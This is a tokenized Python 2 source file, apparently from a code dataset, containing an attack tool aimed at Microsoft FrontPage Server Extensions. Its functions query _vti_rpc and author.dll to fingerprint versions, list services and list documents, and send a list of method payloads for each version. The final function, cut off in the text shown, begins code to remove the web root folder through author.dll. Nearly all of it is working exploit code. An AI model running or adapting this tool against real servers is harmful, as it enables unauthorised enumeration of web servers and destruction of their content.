"\\u\\u\\uNL\\u\\u\\u_", "'", "MIME", "-", "Version", "'_", ":_", "'", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "User", "-", "Agent", "'_", ":_", "'", "MS", "Front", "Page", "/", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "X", "-", "Ver", "mee", "r", "-", "Conten", "t", "-", "Type", "'_", ":_", "'", "applica", "tion", "/", "x", "-", "www", "-", "form", "-", "url", "encode", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Connect", "ion", "'_", ":_", "'", "Keep", "-", "Ali", "ve", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp", "\\u", "target", "\\u", "list_", "=_", "[_", "'\\u", "vt", "i", "\\u", "bin", "/", "sht", "ml", ".", "exe", "/\\u", "vt", "i", "\\u", "rpc", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/", "sht", "ml", ".", "dll", "/\\u", "vt", "i", "\\u", "rpc", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "\"", "method", "=", " ", "server", " ", "version", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "data", "=\"", "method", "=", "list", "+", "service", "s", ":", "4.0", ".2", ".0000", "&", "service", "\\u", "name", "=\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", "for", " ", "item", " ", "in", " ", "exploit", "\\u", "target", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "exp", "\\u", "target", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "destination_", "=_", "name_", "+_", "\"/\"_", "+_", "item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "+]", " ", "Sen", "ding", " ", "HTTP", " ", "GET", " ", "request", " ", "to", " ", "-", " ", "(%", "s", ")", " ", "for", " ", "verify", "ing", " ", "whe", "ther", " ", "RP", "C", " ", "is", " ", "listen", "ing", " ", "!\"_", "%_", "destination_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "req_", "=_", "urllib2_", "._", "Request_", "(_", "destination_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "target", " ", "is", " ", "listen", "ing", " ", "on", " ", "front", "page", " ", "RP", "C", " ", "-", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "response_", "._", "getco", "de_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "target", " ", "is", " ", "not", " ", "listen", "ing", " ", "on", " ", "front", "page", " ", "RP", "C", " ", "-", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "response_", "._", "getco", "de_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "url", " ", "error", " ", "!", " ", "-", " ", "%", "s", "\"_", "%_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", "as_", "h_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "+]", " ", "Sen", "ding", " ", "HTTP", " ", "POST", " ", "request", " ", "to", " ", "retrieve", " ", "software", " ", "version", " ", "-", " ", "(%", "s", ")\"_", "%_", "destination_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "req_", "=_", "urllib2_", "._", "Request_", "(_", "destination_", ",_", "data_", ",_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "+]", " ", "target", " ", "accepts", " ", "the", " ", "request", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "data_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"\\u\\u", "version", "\\u\\u", ".", "txt", "\"_", "+_", "\".", "html", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version_", "=_", "open_", "(_", "filename_", ",_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version_", "._", "write_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "check", " ", "file", " ", "for", " ", "content", "s", " ", "-", " ", "(%", "s", ")", " ", "\\\\", "n", "\"_", "%_", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "target", " ", "fail", "s", " ", "to", " ", "accept", " ", "request", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "data_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "url", " ", "error", ",", " ", "see", "ms", " ", "like", " ", "authenticat", "ion", " ", "is", " ", "require", "d", " ", "or", " ", "server", " ", "fail", "ed", " ", "to", " ", "handle", " ", "request", "!", " ", "-", " ", "-", " ", "%", "s", "\"_", "%_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "*]", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "---\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "front", "page", "\\u", "service", "\\u", "listing_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "MIME", "-", "Version", "'_", ":_", "'", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "User", "-", "Agent", "'_", ":_", "'", "MS", "Front", "Page", "/", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "X", "-", "Ver", "mee", "r", "-", "Conten", "t", "-", "Type", "'_", ":_", "'", "applica", "tion", "/", "x", "-", "www", "-", "form", "-", "url", "encode", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Connect", "ion", "'_", ":_", "'", "Keep", "-", "Ali", "ve", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "service", "\\u", "target", "\\u", "list_", "=_", "[_", "'\\u", "vt", "i", "\\u", "bin", "/", "sht", "ml", ".", "exe", "/\\u", "vt", "i", "\\u", "rpc", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/", "sht", "ml", ".", "dll", "/\\u", "vt", "i", "\\u", "rpc", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "[_", "'", "method", "=", "list", "+", "service", "s", ":", "3.0", ".2", ".1", "076", "&", "service", "\\u", "name", "='_", ",_", "'", "method", "=", "list", "+", "service", "s", ":", "4.0", ".2", ".4", "7", "1", "&", "service", "\\u", "name", "='_", ",_", "'", "method", "=", "list", "+", "service", "s", ":", "4.0", ".2", ".0000", "&", "service", "\\u", "name", "='_", ",_", "'", "method", "=", "list", "+", "service", "s", ":", "5.0", ".2", ".4", "803", "&", "service", "\\u", "name", "='_", ",_", "'", "method", "=", "list", "+", "service", "s", ":", "5.0", ".2", ".2", "623", "&", "service", "\\u", "name", "='_", ",_", "'", "method", "=", "list", "+", "service", "s", ":", "6.0", ".2", ".5", "420", "&", "service", "\\u", "name", "='_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "service", "\\u", "target", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "destination_", "=_", "name_", "+_", "\"/\"_", "+_", "item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "+]", " ", "Sen", "ding", " ", "HTTP", " ", "POST", " ", "request", " ", "to", " ", "retrieve", " ", "service", " ", "listi", "ng", " ", " ", "-", " ", "(%", "s", ")\"_", "%_", "destination_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "entry_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "req_", "=_", "urllib2_", "._", "Request_", "(_", "destination_", ",_", "entry_", ",_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "target", " ", "accepts", " ", "the", " ", "request", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\"_", "%_", "(_", "entry_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"\\u\\u", "service", "-", "list", "\\u\\u", ".", "txt", "\"_", "+_", "entry_", "+_", "\".", "html", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "service", "\\u", "list_", "=_", "open_", "(_", "filename_", ",_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "service", "\\u", "list_", "._", "write_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "check", " ", "file", " ", "for", " ", "content", "s", " ", "-", " ", "(%", "s", ")", " ", "\\\\", "n", "\"_", "%_", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "target", " ", "fail", "s", " ", "to", " ", "accept", " ", "request", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "data_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "url", " ", "error", ",", " ", "see", "ms", " ", "like", " ", "authenticat", "ion", " ", "is", " ", "require", "d", " ", "or", " ", "server", " ", "fail", "ed", " ", "to", " ", "handle", " ", "request", "!", " ", "-", " ", "-", " ", "%", "s", "\"_", "%_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "*]", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "---\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "front", "page", "\\u", "config", "\\u", "check_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "MIME", "-", "Version", "'_", ":_", "'", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "User", "-", "Agent", "'_", ":_", "'", "MS", "Front", "Page", "/", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "X", "-", "Ver", "mee", "r", "-", "Conten", "t", "-", "Type", "'_", ":_", "'", "applica", "tion", "/", "x", "-", "www", "-", "form", "-", "url", "encode", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Connect", "ion", "'_", ":_", "'", "Keep", "-", "Ali", "ve", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "runn", "ing", " ", "some", " ", "standard", " ", "command", "s", " ", "to", " ", "retrieve", " ", "files", " ", "and", " ", "configura", "tion", " ", "checks_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "front", "page", " ", "version", "s", " ", "validat", "ed", " ", "are", ":", " ", "3.0", ".2", ".1", "706", " ", ",", " ", "4.0", ".2", ".4", "715", " ", ",", " ", "5.0", ".2", ".4", "803", ",", " ", "5.0", ".2", ".2", "623", " ", ",", " ", "6.0", ".2", ".5", "420_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "version", " ", ":", " ", "major", " ", "ver", "=", "n", ".", "mino", "r", " ", "ver", "=", "n", ".", "phase", " ", "ver", "=", "n", ".", "veri", "ncr", "=", "v_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "front", "\\u", "exp", "\\u", "target_", "=_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "aut", "/", "author", ".", "dll", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payloads_", "=_", "[_", "'", "method", "=", "open", " ", "service", ":", "3.0", ".2", ".1", "706", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "list", " ", "document", "s", ":", "3.0", ".2", ".1", "706", "&", "service", "\\u", "name", "=", "&", "list", "Hi", "dde", "n", "Docs", "=", "fal", "se", "&", "list", "Explorer", "Docs", "=", "fal", "se", "&", "list", "Recurs", "e", "=", "fal", "se", "&", "list", "Files", "=", "true", "&", "list", "Folders", "=", "true", "&", "list", "Link", "Info", "=", "fal", "se", "&", "list", "Include", "Parent", "=", "true", "&", "list", "Derive", "d", "T", "=", "fal", "se", "&", "list", "Border", "s", "=", "fal", "se", "&", "initial", "Ur", "l", "='_", ",_", "'", "method", "=", "getd", "ocu", "ment", ":", "3.0", ".2", ".1", "105", "&", "service", "\\u", "name", "=", "&", "document", "\\u", "name", "=", "abo", "ut", "/", "default", ".", "ht", "m", "&", "old", "\\u", "them", "e\\u", "html", "=", "fal", "se", "&", "force", "=", "true", "&", "get", "\\u", "option", "=", "none", "&", "doc", "\\u", "version", "='_", ",_", "'", "method", "=", "open", " ", "service", ":", "4.0", ".2", ".4", "715", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "list", " ", "document", "s", ":", "4.0", ".2", ".4", "715", "&", "service", "\\u", "name", "=", "&", "list", "Hi", "dde", "n", "Docs", "=", "fal", "se", "&", "list", "Explorer", "Docs", "=", "fal", "se", "&", "list", "Recurs", "e", "=", "fal", "se", "&", "list", "Files", "=", "true", "&", "list", "Folders", "=", "true", "&", "list", "Link", "Info", "=", "fal", "se", "&", "list", "Include", "Parent", "=", "true", "&", "list", "Derive", "d", "T", "=", "fal", "se", "&", "list", "Border", "s", "=", "fal", "se", "&", "initial", "Ur", "l", "='_", ",_", "'", "method", "=", "getd", "ocu", "ment", ":", "4.0", ".2", ".4", "715", "&", "service", "\\u", "name", "=", "&", "document", "\\u", "name", "=", "abo", "ut", "/", "default", ".", "ht", "m", "&", "old", "\\u", "them", "e\\u", "html", "=", "fal", "se", "&", "force", "=", "true", "&", "get", "\\u", "option", "=", "none", "&", "doc", "\\u", "version", "='_", ",_", "'", "method", "=", "open", " ", "service", ":", "5.0", ".2", ".4", "803", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "list", " ", "document", "s", ":", "5.0", ".2", ".4", "803", "&", "service", "\\u", "name", "=", "&", "list", "Hi", "dde", "n", "Docs", "=", "fal", "se", "&", "list", "Explorer", "Docs", "=", "fal", "se", "&", "list", "Recurs", "e", "=", "fal", "se", "&", "list", "Files", "=", "true", "&", "list", "Folders", "=", "true", "&", "list", "Link", "Info", "=", "fal", "se", "&", "list", "Include", "Parent", "=", "true", "&", "list", "Derive", "d", "T", "=", "fal", "se", "&", "list", "Border", "s", "=", "fal", "se", "&", "initial", "Ur", "l", "='_", ",_", "'", "method", "=", "getd", "ocu", "ment", ":", "5.0", ".2", ".4", "803", "&", "service", "\\u", "name", "=", "&", "document", "\\u", "name", "=", "abo", "ut", "/", "default", ".", "ht", "m", "&", "old", "\\u", "them", "e\\u", "html", "=", "fal", "se", "&", "force", "=", "true", "&", "get", "\\u", "option", "=", "none", "&", "doc", "\\u", "version", "='_", ",_", "'", "method", "=", "open", " ", "service", ":", "5.0", ".2", ".2", "623", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "list", " ", "document", "s", ":", "5.0", ".2", ".2", "623", "&", "service", "\\u", "name", "=", "&", "list", "Hi", "dde", "n", "Docs", "=", "fal", "se", "&", "list", "Explorer", "Docs", "=", "fal", "se", "&", "list", "Recurs", "e", "=", "fal", "se", "&", "list", "Files", "=", "true", "&", "list", "Folders", "=", "true", "&", "list", "Link", "Info", "=", "fal", "se", "&", "list", "Include", "Parent", "=", "true", "&", "list", "Derive", "d", "T", "=", "fal", "se", "&", "list", "Border", "s", "=", "fal", "se", "&", "initial", "Ur", "l", "='_", ",_", "'", "method", "=", "getd", "ocu", "ment", ":", "5.0", ".2", ".2", "623", "&", "service", "\\u", "name", "=", "&", "document", "\\u", "name", "=", "abo", "ut", "/", "default", ".", "ht", "m", "&", "old", "\\u", "them", "e\\u", "html", "=", "fal", "se", "&", "force", "=", "true", "&", "get", "\\u", "option", "=", "none", "&", "doc", "\\u", "version", "='_", ",_", "'", "method", "=", "open", " ", "service", ":", "6.0", ".2", ".5", "420", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "list", " ", "document", "s", ":", "6.0", ".2", ".5", "420", "&", "service", "\\u", "name", "=", "&", "list", "Hi", "dde", "n", "Docs", "=", "fal", "se", "&", "list", "Explorer", "Docs", "=", "fal", "se", "&", "list", "Recurs", "e", "=", "fal", "se", "&", "list", "Files", "=", "true", "&", "list", "Folders", "=", "true", "&", "list", "Link", "Info", "=", "fal", "se", "&", "list", "Include", "Parent", "=", "true", "&", "list", "Derive", "d", "T", "=", "fal", "se", "&", "list", "Border", "s", "=", "fal", "se", "&", "initial", "Ur", "l", "='_", ",_", "'", "method", "=", "getd", "ocu", "ment", ":", "6.0", ".2", ".5", "420", "&", "service", "\\u", "name", "=", "&", "document", "\\u", "name", "=", "abo", "ut", "/", "default", ".", "ht", "m", "&", "old", "\\u", "them", "e\\u", "html", "=", "fal", "se", "&", "force", "=", "true", "&", "get", "\\u", "option", "=", "none", "&", "doc", "\\u", "version", "='_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "payloads_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "destination_", "=_", "name_", "+_", "\"/\"_", "+_", "front", "\\u", "exp", "\\u", "target_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "Sen", "ding", " ", "HTTP", " ", "POST", " ", "request", " ", "to", " ", "[", "open", " ", "service", " ", "|", " ", "listi", "ng", " ", "document", "s", "]", " ", "-", " ", "(%", "s", ")\"_", "%_", "destination_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "req_", "=_", "urllib2_", "._", "Request_", "(_", "destination_", ",_", "item_", ",_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "target", " ", "accepts", " ", "the", " ", "request", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "item_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"\\u\\u", "author", "-", "dll", "-", "config", "\\u\\u", ".", "txt", "\"_", "+_", "\".", "html", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "service", "\\u", "list_", "=_", "open_", "(_", "filename_", ",_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "service", "\\u", "list_", "._", "write_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "check", " ", "file", " ", "for", " ", "content", "s", " ", "-", " ", "(%", "s", ")", " ", "\\\\", "n", "\"_", "%_", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "target", " ", "fail", "s", " ", "to", " ", "accept", " ", "request", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "item_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "url", " ", "error", ",", " ", "see", "ms", " ", "like", " ", "authenticat", "ion", " ", "is", " ", "require", "d", " ", "or", " ", "server", " ", "fail", "ed", " ", "to", " ", "handle", " ", "request", "!", " ", "-", " ", "%", "s", " ", "\\\\", "n", "[-]", " ", "payload", " ", "[", "%", "s", "]\\\\", "n", "\"_", "%_", "(_", "e_", "._", "code_", ",_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "front", "page", "\\u", "remove", "\\u", "folder_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "MIME", "-", "Version", "'_", ":_", "'", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "User", "-", "Agent", "'_", ":_", "'", "MS", "Front", "Page", "/", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "X", "-", "Ver", "mee", "r", "-", "Conten", "t", "-", "Type", "'_", ":_", "'", "applica", "tion", "/", "x", "-", "www", "-", "form", "-", "url", "encode", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Connect", "ion", "'_", ":_", "'", "Keep", "-", "Ali", "ve", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "runn", "ing", " ", "some", " ", "standard", " ", "command", "s", " ", "to", " ", "remove", " ", "\"/", "\"", " ", "folder", " ", "from", " ", "the", " ", "web", " ", "server", " ", "usi", "ng", " ", "author", ".", "dll_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "front", "page", " ", "version", "s", " ", "validat", "ed", " ", "are", ":", " ", "3.0", ".2", ".1", "706", " ", ",", " ", "4.0", ".2", ".4", "715", " ", ",", " ", "5.0", ".2", ".4", "803", ",", " ", "5.0", ".2", ".2", "623", " ", ",", " ", "6.0", ".2", ".5", "420_", "\\u\\u\\uNL\\u\\u\\u_", 